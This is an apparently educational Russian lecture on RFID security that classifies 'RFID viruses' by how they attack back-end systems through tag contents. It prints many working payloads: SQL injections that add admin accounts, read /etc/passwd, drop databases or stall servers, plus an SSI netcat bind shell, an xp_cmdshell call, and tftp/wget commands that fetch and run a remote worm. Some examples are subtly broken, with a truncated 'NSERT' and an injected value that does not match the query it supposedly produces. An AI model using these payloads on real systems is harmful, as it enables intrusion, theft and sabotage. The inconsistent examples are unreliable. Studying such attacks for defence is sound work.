Опубликован: 24.10.2016 | Уровень: для всех | Доступ: свободно
Лекция 15:

Системы RFID в современных системах электронной коммерции

< Лекция 14 || Лекция 15: 12 || Лекция 16 >

15.3. Вопросы безопасности RFID-систем в электронной коммерции

Иллюзию безопасности RFID-технологии во многом поддерживает тот факт, что RFID-теги несут исключительно небольшой объем информации, а следовательно, с минимальной вероятностью могут быть источником разрушающих программных воздействий.

Тем не менее даже стандартной памяти RFID-тега в 1 Кб может быть достаточно для того, чтобы осуществить атаку с самыми разрушительными последствиями.

Так, например, I.Code SLI тег содержит 28 четырехбайтовых блоков, т.е. 896 битов. При использовании ASCII кодировки (семибитовой) на таком теге умещается 128 символов. При определенном подходе этого объема информации вполне хватает для распространения вирусов.

Рассмотрим последовательно виды RFID-вирусов и их возможности, что будет полезным для реализации полноценной системы защиты RFID-систем электронной коммерции.

15.3.1. Вирусы, искажающие информацию в базе данных

Данная категория вирусов является одной из наиболее распространенных. К ней относится множество вирусов, для которых характерны следующие особенности:

  • распространяются исключительно на RFID-метках;
  • модифицируют (удаляют/добавляют/изменяют) данные, хранимые в базе данных системы, ведущей учет с использованием RFID-аппаратуры;
  • не выводят базу данных из строя.

Большая часть подобных вирусов использует механизм SQL-инъекций как наиболее очевидный способ произвести изменения в базе данных, используя слабости системы. Использование этого механизма атак подразумевает, что злоумышленник исполняет собственный SQL-запрос в обход разрешения от программного средства, которое осуществляет управление базой данных.

RFID-тег вполне может содержать вирус, который будет осуществлять атаку, выполнив SQL-инъекцию. Небольшой объем памяти RFID-тега не будет являться существенным ограничением для данной атаки.

Распространенность подобных вирусов объясняется тем, что большая часть систем на основе технологии RFID используют базы данных, а само программное обеспечение, обрабатывая информацию с RFID-метки, передает ее на хранение в базу данных.

Данную категорию вирусов можно поделить на несколько подкатегорий по наиболее характерным приемам, которые используют вирусы, осуществляющие модификацию информации в базе данных.

Вирусы, использующие расщепление SQL-запроса

Данные вирусы наследуют характерные особенности материнской категории, но при этом имеют дополнительную важную характеристику:

  • они внедряют в RFID-тег такую строку запроса, которая позволяет выполнить помимо запрограммированного в логике RFID-системы запроса еще и дополнительный с вредоносной нагрузкой.

Рассмотрим более подробно характерные особенности данного типа вирусов. Для разделения команд в языке SQL используется символ ";" (точка с запятой), внедряя этот символ в запрос, злоумышленник получает возможность выполнить несколько команд в одном запросе, однако не все диалекты SQL поддерживают такую возможность.

Если, к примеру, в RFID-теге должно содержаться некоторое значение, которое RFID-устройство считывает и помещает в базу данных, то злоумышленник может модифицировать содержание тега следующим образом.

После значения, которое планирует считать RFID-устройство, ставится точка с запятой, которая, как уже было сказано, означает прекращение данной SQL-директивы и начало следующей. Произвольная SQL-директива может выступать в роли незапланированной с точки зрения логики программы.

Пример простейшего вида SQL-инъекции выглядит следующим образом:

некоторое значение; INSERT INTO admin (username, password) VALUES ('hacker', '0000');
      

Таким образом, по логике программного средства, работающего с RFID-считывателем, в результате подстановки значения, считанного из тега, должен быть выполнен запрос типа:

INSERT INTO goods (name) VALUES (Apple);
      

Но на практике получится следующее:

INSERT INTO goods (name) VALUES (Apple);
NSERT INTO admin (username, password) VALUES ('hacker', '0000');
      

Таким образом в таблицу администраторов будет добавлена незапланированная создателями системы посторонняя запись. В результате злоумышленник сможет беспрепятственно получить административный доступ к RFID-системе учета.

Небольшой объем памяти некоторых RFID-тегов вовсе не обязательно является ограничением для создателей вирусов. Например, команда

;drop table <tablename>
      

удалит указанную в параметре <tablename> таблицу.

Еще одним способом расщепления запроса является использование синтаксической конструкции ||.

Так самый частый запрос в RFID-системах - это запрос типа UPDATE, обновляющий содержимое ячейки базы данных информацией, которая помещена в RFID-теге.

Запрос типа UPDATE выглядит следующим образом:

UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%'
      

С помощью данного запроса старое значение ячейки OldContents для контейнера с тегом id, обрабатываемого RFID-системой, заменяется на новое.

Если в качестве содержимого RFID-тега указано

'|| (SELECT ...) ||'
      

то в ячейку OldContents будет помещено значение, выбранное из базы данных запросом SELECT.

Вирусы, использующие оператор UNION

Данные вирусы также наследуют характерные особенности материнской категории, но при этом имеют дополнительную важную характеристику:

  • они внедряют в RFID-тег такую строку запроса, которая позволяет модифицировать запрограммированный запрос с использованием оператора UNION таким образом, чтобы выполнить несанкционированные операции с базой данных.

Язык SQL позволяет объединять результаты нескольких запросов при помощи оператора UNION. Это предоставляет злоумышленнику возможность получить несанкционированный доступ к данным RFID-системы.

Так ряд RFID-приложений работает по сценарию, согласно которому считанное с RFID-тега значение служит для поиска в базе данных RFID-системы информации об идентифицированном объекте и ее вывода. Такие системы часто встречаются на автоматизированных стоянках, когда водитель проезжающей на складской комплекс автомашины автоматически получает из терминала чек о времени его въезда на стоянку; терминале, к которому ему следует проехать, и характере груза, который следует забрать.

RFID-тег на такой автомашине может быть модифицирован с использованием механизма UNION в SQL-инъекции. В результате злоумышленник получит всю необходимую ему информацию о складе в выводимом чеке.

Рассмотрим типичный SQL-запрос, который используется в подобных системах автоматического учета для поиска необходимой для вывода в чеке информации:

SELECT terminal, time, goods, car FROM warehouse WHERE id = "requested id";
      

В качестве id используется записанное в теге значение. Если злоумышленник передаст в качестве параметра id конструкцию

–1 UNION SELECT 1,username,password,1 FROM admin
      

это вызовет выполнение SQL-запроса

SELECT terminal, time, goods, car FROM warehouse WHERE id = –1 UNION SELECT 1,username,password,1 FROM admin
      

Так как транспорта с идентификатором –1 заведомо не существует, из таблицы warehouse не будет выбрано ни одной записи, однако в результат попадут записи, несанкционированно отобранные из таблицы admin в результате инъекции SQL.

Таким образом, злоумышленник на чеке получит всю информацию, необходимую для управления складом с правами администратора.

Если база данных работает с правами root, то простейшие SQL-инъекции могут поставить под вопрос безопасность не только базы данных, но и всей системы и даже сети.

Вирусы, использующие экранирование

Данные вирусы также, как и предыдущие два вида, наследуют характерные особенности материнской категории, но при этом имеют дополнительную важную характеристику:

  • они внедряют в RFID-тег такую строку запроса, которая позволяет изменить запрограммированный в системе запрос таким образом, чтобы выполнить несанкционированные операции с базой данных.

Рассмотрим характерные особенности данного типа вирусов.

Зачастую SQL-запрос, подверженный инъекции, имеет структуру, усложняющую или препятствующую использованию UNION. Например, многие RFID-считыватели передают на сервер сформированные запросы с указанием терминала, где происходит идентификация.

Таким образом, в RFID-системах может быть реализовано разделение различных путей прихода груза на склад. Иначе говоря, если на склад прибывают товары водным и наземным транспортом, то в зависимости от того, какое транспортное средство заходит на территорию складского комплекса, в запросе на получение чека может присутствовать дополнительный параметр, жестким образом оговоренный в самом RFID-считывателе.

Так, для морских судов в RFID-запрос автоматически включается указание на то, что должно рассматриваться именно морское судно, а для транспортных средств, соответственно, транспортные средства.

Приведем пример такого рода запроса:

SELECT terminal, time, goods, transport FROM warehouse WHERE id = "requested id" AND port="marine"
      

Очевидно, что параметр marine жестко прописан, и инъекция с использованием UNION затруднительна.

В таких случаях злоумышленниками используется метод экранирования части запроса при помощи символов комментария (/* или -- в зависимости от типа СУБД).

В данном примере злоумышленник может поместить на RFID-тег параметр id со значением

–1 UNION SELECT password FROM admin/*
      

выполнив таким образом запрос

SELECT terminal, time, goods, transport FROM warehouse WHERE id = –1 UNION SELECT password FROM admin/* AND port="marine"
      

в котором часть запроса (AND port="marine") помечена как комментарий и не влияет на выполнение.

Вирусы, использующие внедрение строковых параметров

Вирусы имеют следующую характерную особенность:

  • вирусы данной категории на RFID-теге хранят такую строку, которая позволяет внедрить в запрограммированный в системе SQL-запрос строковые параметры, которые при исполнении запроса приводят к несанкционированному изменению информации в базе данных.

Этот метод атаки с использованием данных, записываемых в RFID-теги, является одним из самых простых, но тем не менее вполне действенным. Допустим, серверное программное обеспечение RFID-системы, получив входной параметр id, считанный с RFID-тега, использует его для создания SQL-запроса. Рассмотрим следующий запрос:

SELECT * FROM warehouse WHERE id = 5
      

если злоумышленник запишет в RFID тег следующее содержимое:

-1 OR 1=1
      

то выполнится запрос:

SELECT * FROM warehouse WHERE id = -1 OR 1=1
      

Изменение входных параметров путем добавления в них конструкций языка SQL вызывает изменение в логике выполнения SQL-запроса (в данном примере вместо выдачи необходимой по данному идентифицируемому объекту информации будет выведена информация по всем объектам в базе данных, поскольку выражение 1 = 1 всегда истинно).

Приведем еще один часто используемый создателями RFID-вирусов прием. В некоторых запросах к базе данных RFID-системы используются запросы, в теле которых встречаются кавычки.

Подобные запросы имеют, к примеру, следующий вид:

SELECT id FROM warehouse WHERE destination = LIKE ('%city%');
      

Такие запросы часто используются в транспортных RFID-системах учета для того, чтобы водитель автомашины с RFID-тегом мог автоматически при въезде получить, например, список терминалов склада, откуда необходимо загрузить товары. Список терминалов формируется на основе записанного в RFID-теге названия города назначения. В качестве параметра '%city%' вписывается считанное из тега название города.

Злоумышленник, внедрив в содержимое RFID-тега кавычки (которые используются в запросе), может кардинально изменить поведение SQL-запроса. Например, если записать в RFID-тег следующее значение:

')+and+ (news_id_author='1
      

при считывании исполнится следующий запрос:

SELECT id FROM warehouse WHERE destination = LIKE ('%') AND (delivery_time='01-02-2008%');
      

Таким образом, злоумышленник может незаконно получить данные о товаре, складированном 1 февраля 2008 г., что может быть конфиденциальной информацией.

15.3.2. Вирусы, осуществляющие хищение информации

К этой категории RFID-вирусов относится множество вирусов, для которых характерны следующие особенности:

  • распространяются исключительно на RFID-метках;
  • осуществляют хищение информации;
  • не выводят систему из строя, оставляют минимум следов хищения информации.

Механизм функционирования вирусов этого типа основан на возможности ряда СУБД исполнять запросы, связанные с использованием обращений к файловой системе. Как было показано выше, осуществить атаку на базу данных достаточно просто: необходимо модифицировать данные на RFID-теге таким образом, чтобы изменить запрограммированный SQL-запрос при исполнении. Подобным образом ведут себя и эти вирусы: используя уязвимость ПО, работающего с СУБД, они могут извлечь информацию из базы, а также получить практически любые данные из файловой системы.

Рассмотрим, какие приемы используются такими вирусами, позволяющие за счет модификации запросов SQL получать доступ к базе данных, были подробно рассмотрены в предыдущем параграфе. Рассмотрим те приемы, которые позволяют RFID-вирусам обращаться к файловой системе. Прежде всего это документируемые возможности ряда СУБД по работе с файловыми системами. К подобным возможностям, например, в СУБД MySQL, относится возможность загрузки произвольного файла системы посредством команды LOAD_FILE (‘filename’).

Приведем простейшее содержимое RFID-тега, которое приведет к загрузке файла с паролями в случае функционирования системы учета под ОС семейства UNIX:

union select load_file (‘/etc/passwd’)
    

Также полезным выглядит использование возможности СУБД записывать выбранные данные в файл. Так в MySQL подобная команда выглядит следующим образом:

union select username from users into outfile 'logins.txt';
    

Приведенная команда позволяет записать имена пользователей из таблицы users системы в специальный файл.

Все, что остается вирусу, - это передать полученную информацию заинтересованному лицу за пределы системы. Если она подключена к сети, то получить информацию, осуществив запрос к известному файлу, просто. Можно также использовать приемы вирусов, которые будут описаны далее, например вирусов, которые открывают доступ к системе. Получив возможность делать запросы для получения файлов с компьютера, где расположена система, злоумышленник может без труда забрать специально созданный для него файл.

Получить данный файл можно, записав его на соответствующий перезаписываемый тег с большим объемом памяти. Сделать это не так просто, но возможно, так как большинство систем имеют кроме считывателя еще и записывающее устройство. Инициировать запись в подобный тег можно, если изменить содержимое тех ячеек базы данных, из которых, согласно логике системы, чаще всего берется информация для записи в теги. Подобная техника будет подробно рассмотрена в параграфе, посвященном категории самораспространяющихся вирусов.

15.3.3. Вирусы, открывающие доступ к внешнему управлению системой

К данной категории RFID-вирусов относится множество вирусов, для которых характерны следующие особенности:

  • распространяются исключительно на RFID-метках;
  • проникнув в систему, осуществляют отключение системы безопасности таким образом, чтобы стало возможным удаленное вторжение злоумышленника.

Данная категория вирусов основана на том, что в большинстве систем используется технология Server-Side Includes (SSIs). Эта технология часто используется в системах RFID для того, чтобы предоставить пользователю возможность удаленного доступа и получения необходимой информации. Как правило, подобную систему тщательно защищают, понимая, что ею может воспользоваться злоумышленник. Тем не менее разработчики системы безопасности большей частью не предполагают, что угроза может идти от RFID-тегов, т.е. изнутри системы, а не снаружи, как обычно. Apache чаще всего используется как сервер для большинства информационных комплексов с серверной реализацией, поэтому приведем простейший пример вируса, использующего атаку на Apache Server-Side Includes (SSIs).

Для успешной атаки в RFID-тег необходимо поместить следующую директиву:

<!--#exec cmd=``netcat -lp1234|sh''-->
    

Достаточно, чтобы данный код был использован в качестве параметра SQL-запроса, осуществляющего запись информации в базу данных. После того как код будет записан в ячейку базы данных и впоследствии будет выполнен при получении команды из управляющего интерфейса, команда netcat откроет скрытый доступ к атакуемой машине: командный shell, который будет доступен извне на 1234-м порту. Этот доступ будет открыт в течение всего времени, пока будет функционировать SSI.

Таким образом, RFID-тег с вирусом фактически позволит злоумышленнику удаленно управлять системой RFID.

Еще один важный прием, используемый создателями RFID-вирусов, заключается в следующем. Некоторые базы данных позволяют администраторам удаленно выполнять команды, чем также может воспользоваться злоумышленник, эксплуатирующий уязвимости с помощью описанного ранее механизма SQL-инъекции.

Так, например, Microsoft SQL Server выполняет удаленные команды с помощью инструмента 'xp cmdshell'. Злоумышленник может отправить с электронным письмом файл с паролями для доступа к базе данных.

Так будет выглядеть строка, позволяющая подключится к некоторому IP по Telnet:

'; exec master..xp_cmdshell 'telnet 192.168.0.1' -
    

Особенно актуальной такая атака будет в том случае, если сервер работает с правами администратора.

15.3.4. Вирусы, осуществляющие вывод системы из строя

Данная категория вирусов RFID направлена на вывод системы RFID из строя. Существует два принципиальных подхода к выводу системы из строя: уничтожение "основы" системы - базы данных или оказание такого воздействия на систему, которое не позволит ей функционировать должным образом (вовремя записывать и считывать информацию как в теги, так и в базу данных).

К принципиальным отличиям данных RFID-вирусов относятся следующие:

  • распространяются исключительно на RFID-метках;
  • осуществляют вывод системы из строя, не позволяя ей выполнять в должном объеме документированные возможности.
Вирусы, выводящие базу данных из строя

Данная категория вирусов RFID направлена на уничтожение содержимого базы и ее структуры с целью сделать функционирование RFID-системы невозможным.

Данная категория вирусов, пожалуй, является наиболее простой с точки зрения реализации. Более того, данные вирусы крайне лаконичны и могут быть записаны на тег даже без его подмены на тег с большим объемом памяти.

Простейшей конструкцией, которую можно привести в качестве примера, является:

; drop database;
      

Также, например, содержимое RFID-тега длиной всего лишь в 12 символов:

;shutdown—
      

полностью выключит SQL-сервер.

DoS-вирусы

Данная категория вирусов помимо свойств их материнской категории имеет следующую отличительную особенность:

  • Они замедляют работу системы, заставляя исчерпать ее свои ресурсы, приводя тем самым к сбоям в операциях чтения/записи информации в тег или в базу данных.

Для осуществления подобных действий RFID-вирусы, как правило, используют возможности вставки в SQL-запрос функции BENCHMARK, которая повторяет выполнение выражения expr, заданное количество раз, указанное в аргументе count. Подобный синтаксис, конечно, относится к СУБД MySQL, но аналоги ему можно найти и для других СУБД.

В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5 ( ). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. Итак, составляем запрос:

BENCHMARK (10000000,BENCHMARK (10000000,md5 (current_date)));
      

1 000 000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 с, 10 000 000 будут выполнятся около 50 с. Вложенный benchmark будет выполняться очень долго на любом сервере. Для успешного выполнения атаки этого может оказаться достаточно. Можно усугубить ситуацию за счет использования нескольких зараженных тегов в системе, где поток тегов через считыватель достаточно высок.

15.3.5. Вирусы, размещающие троянские программы

Данная категория вирусов имеет следующие отличительные особенности:

  • базовая часть вируса распространяется на RFID-теге;
  • вторая часть вируса загружается после заражения системы вирусом c RFID-тега.

Зачастую для того, чтобы поразить RFID-систему, вирусного кода, расположенного в одном или даже двух-трех тегах, бывает недостаточно. Для достижения более значительных результатов RFID-вирусам необходимы гораздо более значительные объемы вирусного кода и иногда даже уже заранее скомпилированные приложения. Как правило, подобные приложения часто используются как троянские программы, откуда данная категория и получила свое название.

Подобные вирусы RFID зачастую используют следующую технику. Описанная ранее возможность RFID-тега выполнять shell-команды делает возможным скачивание из сети вируса любой сложности.

Пример такой команды выглядит следующим образом:

cd \Windows\Temp & tftp -i <ip> GET worm.exe & worm.exe
    

Вирус скачивается с помощью стандартной утилиты Windows tftp во вмененный каталог. После того как вирус скачан, он устанавливается и работает как полноценная троянская программа.

Также для загрузки вируса извне может быть использована web-технология SSI (Server Side includes). Разберем пример использования SSI для загрузки вирусного кода в ОС Linux.

Для этого необходимо исполнение следующей строки:

<!--#exec cmd="wget http://ip/worm -O /tmp/worm; chmod +x /tmp/worm; /tmp/worm "-->
    

В ней с помощью стандартной утилиты Linux wget RFID-вирус закачивает свое тело во временный каталог системы, меняет права на исполнение и исполняет.

Еще один способ загрузить код - это поместить в RFID-тег код, который поступает в программу, подверженную переполнению буфера. Такое приложение может загрузить вирусный код извне и исполнить его.

< Лекция 14 || Лекция 15: 12 || Лекция 16 >
Владислав Ветошкин
Владислав Ветошкин
Россия, Ижевск, Ижевский государственный технический университет имени А.Т. Калашникова, 2011
Саламат Исахан
Саламат Исахан
Россия, Turkistan